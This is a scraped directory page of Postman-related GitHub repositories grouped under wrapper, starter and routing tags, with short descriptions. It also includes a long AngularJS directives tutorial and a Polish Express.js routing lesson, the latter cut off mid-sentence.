action, application, host, hosted, service, test, tests 		A REST application with JAX-RS (Java) hosted in Jetty Server with API tests in POSTMAN 0 stars 0 watchers 0 forks
deeep911/JAVA-ElasticSearch-SpringBoot
conducted, host, hosted, java, local, locally, search 		Elasticsearch is conducted using SpringBoot in java, hosted locally.Hence, POSTMAN is needed for API usage. 0 stars 0 watchers 0 forks
deeep911/Java-parser-elasticsearch
data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets 		Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. 0 stars 0 watchers 0 forks
motivast/motimize-postman
host, hosted, image, images, motimize, service, source 		Collection of Postman requests to work with Motimize. Motimize is an open source self-hosted REST web service to optimize and compress images. 0 stars 0 watchers 0 forks

wrapper (7 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
AnjolaA/newman-wrapper
config, environment, inject, newman, variable, variables, wrapper 		A wrapper to inject config values postman environment variables 2 stars 2 watchers 0 forks
wagneralkmim/postman-wrapper
description, script, wrapper 		No description available. 0 stars 0 watchers 0 forks
DarkmaneTheRobot/node-e621
mini, node, wrapper 		A mini NodeJS wrapper for e621. Created using POSTMan. 0 stars 0 watchers 0 forks
imikemiller/lumen-swagger-generators
docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper 		A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser 0 stars 0 watchers 0 forks
JaredStrandWSU/CougsInSpace-Website
component, components, party, site, tool, tools, website, wrapper, wrappers 		This website was built using components of HTML, CSS, JavaScript, and Python. Some third party tools and wrappers used include SQLAlchemy, Bootstrap, Flask, and Postman. 0 stars 0 watchers 0 forks
shaqq/swagger2-to-postman-cli
swagger, swagger2, wrapper 		Simple CLI wrapper over swagger2-to-postman 0 stars 0 watchers 0 forks

starter (7 listings) (Back to Top)

davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
Massad/gin-boilerplate
boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
hyseneim/cloud-application-starter
application, cloud, starter 		Cloud Application Starter 6 stars 6 watchers 3 forks
leungant/django-useraccounts-messaging-starter
account, accounts, auth, django, followed, message, messages, messaging, notification, starter, user 		Project with Login with all auth, followed by messages and notification with postman and django-notifications-hq, can be used a starter app 1 stars 1 watchers 0 forks
eagraf/react-starter-project
inventory, mock, react, starter 		Create a simple inventory using React, and a Postman mock API 0 stars 0 watchers 2 forks
saqsham/sequelize-v5.0-starter-api
sequelize, starter 		Using sequelizeORM with Postgres 0 stars 0 watchers 0 forks
sonakdigvijay/spring-apache-kafka-starter
apache, application, integration, kafka, spring, starter 		This is a spring-kafka integration starter application using Lightbend Lagom Kafka Server Plugin 0 stars 0 watchers 0 forks

routing (7 listings) (Back to Top)

cooperstrahan/mean_restful_routing_api
assignment, mean, rest, restful, routing, test, tested 		Coding Dojo's Restful Routing assignment tested on Postman 0 stars 0 watchers 1 forks
ncoughlin/postman-routing-exercise
exercise, routing, test, testing 		Bootcamp Express App testing routing and testing with Postman 0 stars 0 watchers 0 forks
AnnaChyli/.NET-Core-Project
framework, routing 		ASP.NET Core, MVC 6 and Web API, Entity framework Core 1.0, JavaScript, AngularJS routing. Tools: Bootstrap, Postman, AutoMapper 0 stars 0 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
Boskey/vcd-postman
client, routing 		Repository of routing vCD REST API's that can be run using Postman client 0 stars 0 watchers 0 forks
devbaggett/restful_task_api
application, operation, operations, rest, restful, routing, task 		created an application with routing rules which offer CRUD operations using POSTMAN API 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello 